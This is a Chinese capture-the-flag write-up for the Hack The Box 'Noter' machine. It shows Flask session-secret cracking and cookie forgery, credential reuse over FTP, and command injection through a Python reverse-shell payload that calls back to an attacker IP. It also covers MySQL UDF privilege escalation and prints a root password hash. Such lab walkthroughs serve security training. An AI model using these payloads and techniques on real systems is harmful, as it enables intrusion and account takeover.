基本信息
- https://www.hackthebox.com/home/machines/profile/467
- 10.10.11.160

端口扫描
21,22,5000:
1 | nmap -sC -sV 10.10.11.160 |
5000
Flask写的note app:

Noter
注册登录,得到的cookie看起来像JWT,实际上根据flask可以知道是flask sign:
1 | eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibWlhbyJ9.YntLnA.yERWWVo5V4fLXiftDggYNLqSksI |

Flask-Unsign
- Paradoxis/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
https://github.com/Paradoxis/Flask-Unsign
爆破出来密钥:
1 | flask-unsign --unsign --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibWlhbyJ9.YntLnA.yERWWVo5V4fLXiftDggYNLqSksI" --wordlist ~/Tools/dict/rockyou.txt --no-literal-eval |
username
根据密钥可以伪造任意cookie,但用户名并不是常规的admin之类,需要爆破一下,登录那里简单测试一下就可以知道能够枚举用户名,用户名存在和不存在的响应不同:
用户名字典用seclist里的cirt-default-usernames.txt就可以:

blue
生成blue的cookie,替换登录:
1 | flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123' |

notes
blue的notes里得到ftp密码:
1 | Your username is 'blue' and the password is 'blue@Noter!'. |

FTP
使用得到的账号密码登录ftp,可以得到一个pdf文件:

policy.pdf
是密码策略相关,里面给出了默认密码的生成规则:

可以根据该规则得出ftp_admin的默认密码:
1 | ftp_admin@Noter! |
ftp_admin
使用ftp_admin账号密码登录,可以得到两个备份文件:

app_backup
对比两个版本文件差异,可以得到数据库账号密码信息:
1 | root |

命令注入
另外进行代码审计也可以很容易发现export_note_remote存在命令注入, 请求用户指定的url,响应信息拼接到command里
1 | url = request.form['url'] |
export_note_remote
1 | # Export remote |
命令注入 & user flag
就是根据分析结果那样,提交url,控制响应内容进行命令注入,getshell:


shell.md
1 | ';python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' # ' |
user flag
svc用户目录得到user.txt:

UDF提权 & root flag
写公钥进去后ssh登录,方便后续操作,因为前面得到有数据库账号密码还没有使用到,这里很容易想到相关的UDF:
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) - Linux local Exploit
https://www.exploit-db.com/exploits/1518so路径要改成对应的,另外因为这个udf没回显,所以要通过文件查看执行结果,方便操作就直接bash加suid了:
1 | gcc -g -c raptor_udf2.c |

root flag

shadow
1 | root:$6$09RSjU3jIh/2JW1u$8jlcYzW5Oyzgh/TrlTPX5Wq2HMTA6zUooij/9j0.NIttTYp4x0h6wmq8chrcdtvNpZzHlHzwsI8GesOKI3NYn.:18991:0:99999:7::: |
参考资料
- Paradoxis/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
https://github.com/Paradoxis/Flask-Unsign - MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) - Linux local Exploit
https://www.exploit-db.com/exploits/1518 - Noter - HTB [Discussion] | BreachForums
https://breached.co/Thread-Noter-HTB-Discussion